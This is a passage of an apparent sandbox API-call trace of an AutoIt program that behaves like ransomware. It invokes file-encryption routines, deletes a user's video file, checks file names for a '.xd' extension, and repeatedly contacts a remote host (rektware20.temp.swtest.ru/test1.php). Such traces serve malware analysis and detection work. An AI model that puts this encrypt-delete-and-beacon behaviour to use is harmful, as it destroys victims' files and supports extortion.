wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0068.418] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0068.418] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0068.419] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0068.419] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0068.419] PeekMessageW (in: lpMsg=0x130e994, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e994) returned 0 [0068.419] PeekMessageW (in: lpMsg=0x130e994, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e994) returned 0 [0068.419] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0068.421] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0068.421] PeekMessageW (in: lpMsg=0x130e7cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e7cc) returned 0 [0068.421] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0068.421] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0068.421] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0068.421] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0068.421] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0068.421] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0068.421] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0068.421] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0068.421] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0068.421] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0068.421] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0068.421] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0068.421] PeekMessageW (in: lpMsg=0x130eaec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eaec) returned 0 [0068.422] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0068.422] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0068.422] PeekMessageW (in: lpMsg=0x130eadc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eadc) returned 0 [0068.422] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0068.422] PeekMessageW (in: lpMsg=0x130eadc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eadc) returned 0 [0068.422] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0068.422] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptReleaseContext", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0068.422] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptReleaseContext", cchWideChar=20, lpMultiByteStr=0x164dfb0, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptReleaseContext", lpUsedDefaultChar=0x0) returned 20 [0068.422] GetProcAddress (hModule=0x74c60000, lpProcName="CryptReleaseContext") returned 0x74c80ad0 [0068.422] CryptReleaseContext (hProv=0x17aa2b8, dwFlags=0x0) returned 1 [0068.422] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0068.423] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0068.423] PeekMessageW (in: lpMsg=0x130eadc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eadc) returned 0 [0068.423] FreeLibrary (hLibModule=0x74c60000) returned 1 [0068.423] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0068.423] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0068.423] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0068.423] CloseHandle (hObject=0x2ac) returned 1 [0068.424] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0068.424] CloseHandle (hObject=0x3bc) returned 1 [0068.427] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0068.428] PeekMessageW (in: lpMsg=0x130f3bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f3bc) returned 0 [0068.428] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\-Sjjvy1RE6atxbCV\\pzltNfk4RHEJzcDe.mkv", nBufferLength=0x7fff, lpBuffer=0x12ff018, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Videos\\-Sjjvy1RE6atxbCV\\pzltNfk4RHEJzcDe.mkv", lpFilePart=0x0) returned 0x42 [0068.428] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\-Sjjvy1RE6atxbCV\\pzltNfk4RHEJzcDe.mkv" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\-sjjvy1re6atxbcv\\pzltnfk4rhejzcde.mkv")) returned 0x20 [0068.428] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\-Sjjvy1RE6atxbCV\\pzltNfk4RHEJzcDe.mkv", lpFindFileData=0x130f060 | out: lpFindFileData=0x130f060) returned 0x164c630 [0068.428] DeleteFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\-Sjjvy1RE6atxbCV\\pzltNfk4RHEJzcDe.mkv" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\-sjjvy1re6atxbcv\\pzltnfk4rhejzcde.mkv")) returned 1 [0068.431] FindNextFileW (in: hFindFile=0x164c630, lpFindFileData=0x130f060 | out: lpFindFileData=0x130f060) returned 0 [0068.431] FindClose (in: hFindFile=0x164c630 | out: hFindFile=0x164c630) returned 1 [0068.431] PeekMessageW (in: lpMsg=0x130f3bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f3bc) returned 0 [0068.431] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0068.431] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0068.431] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0068.432] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\-Sjjvy1RE6atxbCV\\RcBgox5PvYPV.mp4", lpFindFileData=0x130f048 | out: lpFindFileData=0x130f048) returned 0x164d070 [0068.432] FindClose (in: hFindFile=0x164d070 | out: hFindFile=0x164d070) returned 1 [0068.432] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0068.432] InternetCrackUrlW (in: lpszUrl="http://rektware20.temp.swtest.ru/test1.php", dwUrlLength=0x2a, dwFlags=0x0, lpUrlComponents=0x130ef38 | out: lpUrlComponents=0x130ef38) returned 1 [0068.432] InternetOpenW (lpszAgent="AutoIt", dwAccessType=0x0, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc0004 [0068.432] InternetSetOptionW (hInternet=0x0, dwOption=0x32, lpBuffer=0x130ef80, dwBufferLength=0x8) returned 1 [0068.432] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x0, lpdwBufferLength=0x130ef8c | out: lpBuffer=0x0, lpdwBufferLength=0x130ef8c) returned 0 [0068.432] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x1620d48, lpdwBufferLength=0x130ef8c | out: lpBuffer=0x1620d48, lpdwBufferLength=0x130ef8c) returned 1 [0068.432] InternetConnectW (hInternet=0xcc0004, lpszServerName="rektware20.temp.swtest.ru", nServerPort=0x50, lpszUserName="", lpszPassword="", dwService=0x3, dwFlags=0x0, dwContext=0x0) returned 0xcc0008 [0068.432] HttpOpenRequestW (hConnect=0xcc0008, lpszVerb=0x0, lpszObjectName="/test1.php", lpszVersion=0x0, lpszReferrer=0x0, lplpszAcceptTypes=0x0, dwFlags=0x0, dwContext=0x0) returned 0xcc000c [0068.432] HttpSendRequestW (in: hRequest=0xcc000c, lpszHeaders=0x0, dwHeadersLength=0x0, lpOptional=0x0*, dwOptionalLength=0x0 | out: lpOptional=0x0*) returned 1 [0068.433] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x20000013, lpBuffer=0x130ef40, lpdwBufferLength=0x130ef38, lpdwIndex=0x130ef3c*=0x0 | out: lpBuffer=0x130ef40*, lpdwBufferLength=0x130ef38*=0x4, lpdwIndex=0x130ef3c*=0x0) returned 1 [0068.433] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x5, lpBuffer=0x130ef5c, lpdwBufferLength=0x130ef88, lpdwIndex=0x130ef8c*=0x0 | out: lpBuffer=0x130ef5c*, lpdwBufferLength=0x130ef88*=0x2, lpdwIndex=0x130ef8c*=0x1) returned 1 [0068.433] InternetQueryDataAvailable (hFile=0xcc000c, lpdwNumberOfBytesAvailable=0x130ef3c, dwFlags=0x0, dwContext=0x0) returned 1 [0068.433] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x16292e0, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130ef40 | out: lpBuffer=0x16292e0*, lpdwNumberOfBytesRead=0x130ef40*=0x2) returned 1 [0068.433] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1629150, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130ef40 | out: lpBuffer=0x1629150*, lpdwNumberOfBytesRead=0x130ef40*=0x0) returned 1 [0068.433] InternetCloseHandle (hInternet=0xcc000c) returned 1 [0068.433] InternetCloseHandle (hInternet=0xcc0004) returned 1 [0068.433] InternetCloseHandle (hInternet=0xcc0008) returned 0 [0068.433] CloseHandle (hObject=0x0) returned 0 [0068.434] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\-Sjjvy1RE6atxbCV\\RcBgox5PvYPV.mp4", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0068.434] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=":\\Users\\CIiHmnxMn6Ps\\Videos\\-Sjjvy1RE6atxbCV\\RcBgox5PvYPV.mp4", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0068.434] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\Users\\CIiHmnxMn6Ps\\Videos\\-Sjjvy1RE6atxbCV\\RcBgox5PvYPV.mp4", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0068.434] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Users\\CIiHmnxMn6Ps\\Videos\\-Sjjvy1RE6atxbCV\\RcBgox5PvYPV.mp4", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0068.434] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="sers\\CIiHmnxMn6Ps\\Videos\\-Sjjvy1RE6atxbCV\\RcBgox5PvYPV.mp4", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0068.434] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ers\\CIiHmnxMn6Ps\\Videos\\-Sjjvy1RE6atxbCV\\RcBgox5PvYPV.mp4", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0068.434] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="rs\\CIiHmnxMn6Ps\\Videos\\-Sjjvy1RE6atxbCV\\RcBgox5PvYPV.mp4", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0068.434] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="s\\CIiHmnxMn6Ps\\Videos\\-Sjjvy1RE6atxbCV\\RcBgox5PvYPV.mp4", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0068.434] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\CIiHmnxMn6Ps\\Videos\\-Sjjvy1RE6atxbCV\\RcBgox5PvYPV.mp4", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0068.434] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="CIiHmnxMn6Ps\\Videos\\-Sjjvy1RE6atxbCV\\RcBgox5PvYPV.mp4", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0068.434] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="IiHmnxMn6Ps\\Videos\\-Sjjvy1RE6atxbCV\\RcBgox5PvYPV.mp4", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0068.434] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="iHmnxMn6Ps\\Videos\\-Sjjvy1RE6atxbCV\\RcBgox5PvYPV.mp4", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0068.434] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="HmnxMn6Ps\\Videos\\-Sjjvy1RE6atxbCV\\RcBgox5PvYPV.mp4", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0068.434] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="mnxMn6Ps\\Videos\\-Sjjvy1RE6atxbCV\\RcBgox5PvYPV.mp4", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0068.434] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="nxMn6Ps\\Videos\\-Sjjvy1RE6atxbCV\\RcBgox5PvYPV.mp4", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0068.434] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="xMn6Ps\\Videos\\-Sjjvy1RE6atxbCV\\RcBgox5PvYPV.mp4", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0068.434] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Mn6Ps\\Videos\\-Sjjvy1RE6atxbCV\\RcBgox5PvYPV.mp4", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0068.434] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="n6Ps\\Videos\\-Sjjvy1RE6atxbCV\\RcBgox5PvYPV.mp4", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0068.434] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="6Ps\\Videos\\-Sjjvy1RE6atxbCV\\RcBgox5PvYPV.mp4", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0068.434] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Ps\\Videos\\-Sjjvy1RE6atxbCV\\RcBgox5PvYPV.mp4", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0068.434] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="s\\Videos\\-Sjjvy1RE6atxbCV\\RcBgox5PvYPV.mp4", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0068.434] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\Videos\\-Sjjvy1RE6atxbCV\\RcBgox5PvYPV.mp4", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0068.434] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Videos\\-Sjjvy1RE6atxbCV\\RcBgox5PvYPV.mp4", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0068.434] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ideos\\-Sjjvy1RE6atxbCV\\RcBgox5PvYPV.mp4", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0068.434] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="deos\\-Sjjvy1RE6atxbCV\\RcBgox5PvYPV.mp4", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0068.434] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="eos\\-Sjjvy1RE6atxbCV\\RcBgox5PvYPV.mp4", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0068.434] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="os\\-Sjjvy1RE6atxbCV\\RcBgox5PvYPV.mp4", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0068.434] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="s\\-Sjjvy1RE6atxbCV\\RcBgox5PvYPV.mp4", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0068.434] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\-Sjjvy1RE6atxbCV\\RcBgox5PvYPV.mp4", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0068.434] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="-Sjjvy1RE6atxbCV\\RcBgox5PvYPV.mp4", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0068.434] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Sjjvy1RE6atxbCV\\RcBgox5PvYPV.mp4", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0068.434] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="jjvy1RE6atxbCV\\RcBgox5PvYPV.mp4", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0068.435] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="jvy1RE6atxbCV\\RcBgox5PvYPV.mp4", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0068.435] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="vy1RE6atxbCV\\RcBgox5PvYPV.mp4", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0068.435] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="y1RE6atxbCV\\RcBgox5PvYPV.mp4", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0068.435] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="1RE6atxbCV\\RcBgox5PvYPV.mp4", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0068.435] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="RE6atxbCV\\RcBgox5PvYPV.mp4", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0068.435] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="E6atxbCV\\RcBgox5PvYPV.mp4", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0068.435] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="6atxbCV\\RcBgox5PvYPV.mp4", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0068.435] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="atxbCV\\RcBgox5PvYPV.mp4", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0068.435] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="txbCV\\RcBgox5PvYPV.mp4", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0068.435] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="xbCV\\RcBgox5PvYPV.mp4", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0068.435] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="bCV\\RcBgox5PvYPV.mp4", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0068.435] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="CV\\RcBgox5PvYPV.mp4", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0068.435] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="V\\RcBgox5PvYPV.mp4", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0068.435] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\RcBgox5PvYPV.mp4", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0068.435] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="RcBgox5PvYPV.mp4", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0068.435] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="cBgox5PvYPV.mp4", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0068.435] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Bgox5PvYPV.mp4", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0068.435] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="gox5PvYPV.mp4", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0068.435] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ox5PvYPV.mp4", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0068.435] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="x5PvYPV.mp4", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0068.435] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="5PvYPV.mp4", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0068.435] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="PvYPV.mp4", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0068.435] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="vYPV.mp4", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0068.435] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="YPV.mp4", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0068.435] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="PV.mp4", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0068.435] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="V.mp4", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0068.435] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=".mp4", cchCount1=3, lpString2=".xd", cchCount2=3) returned 1 [0068.435] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="mp4", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0068.435] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0068.435] CharUpperBuffW (in: lpsz="CRYPT", cchLength=0x5 | out: lpsz="CRYPT") returned 0x5 [0068.435] PeekMessageW (in: lpMsg=0x130f3bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f3bc) returned 0 [0068.436] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTFILE", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTFILE") returned 0x12 [0068.436] InternetCrackUrlW (in: lpszUrl="http://rektware20.temp.swtest.ru/test1.php", dwUrlLength=0x2a, dwFlags=0x0, lpUrlComponents=0x130edc8 | out: lpUrlComponents=0x130edc8) returned 1 [0068.436] InternetOpenW (lpszAgent="AutoIt", dwAccessType=0x0, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc0004 [0068.436] InternetSetOptionW (hInternet=0x0, dwOption=0x32, lpBuffer=0x130ee10, dwBufferLength=0x8) returned 1 [0068.436] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x0, lpdwBufferLength=0x130ee1c | out: lpBuffer=0x0, lpdwBufferLength=0x130ee1c) returned 0 [0068.436] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x1620e98, lpdwBufferLength=0x130ee1c | out: lpBuffer=0x1620e98, lpdwBufferLength=0x130ee1c) returned 1 [0068.436] InternetConnectW (hInternet=0xcc0004, lpszServerName="rektware20.temp.swtest.ru", nServerPort=0x50, lpszUserName="", lpszPassword="", dwService=0x3, dwFlags=0x0, dwContext=0x0) returned 0xcc0008 [0068.436] HttpOpenRequestW (hConnect=0xcc0008, lpszVerb=0x0, lpszObjectName="/test1.php", lpszVersion=0x0, lpszReferrer=0x0, lplpszAcceptTypes=0x0, dwFlags=0x0, dwContext=0x0) returned 0xcc000c [0068.436] HttpSendRequestW (in: hRequest=0xcc000c, lpszHeaders=0x0, dwHeadersLength=0x0, lpOptional=0x0*, dwOptionalLength=0x0 | out: lpOptional=0x0*) returned 1 [0068.436] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x20000013, lpBuffer=0x130edd0, lpdwBufferLength=0x130edc8, lpdwIndex=0x130edcc*=0x0 | out: lpBuffer=0x130edd0*, lpdwBufferLength=0x130edc8*=0x4, lpdwIndex=0x130edcc*=0x0) returned 1 [0068.437] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x5, lpBuffer=0x130edec, lpdwBufferLength=0x130ee18, lpdwIndex=0x130ee1c*=0x0 | out: lpBuffer=0x130edec*, lpdwBufferLength=0x130ee18*=0x2, lpdwIndex=0x130ee1c*=0x1) returned 1 [0068.437] InternetQueryDataAvailable (hFile=0xcc000c, lpdwNumberOfBytesAvailable=0x130edcc, dwFlags=0x0, dwContext=0x0) returned 1 [0068.437] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x16292e0, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130edd0 | out: lpBuffer=0x16292e0*, lpdwNumberOfBytesRead=0x130edd0*=0x2) returned 1 [0068.437] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1629360, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130edd0 | out: lpBuffer=0x1629360*, lpdwNumberOfBytesRead=0x130edd0*=0x0) returned 1 [0068.437] 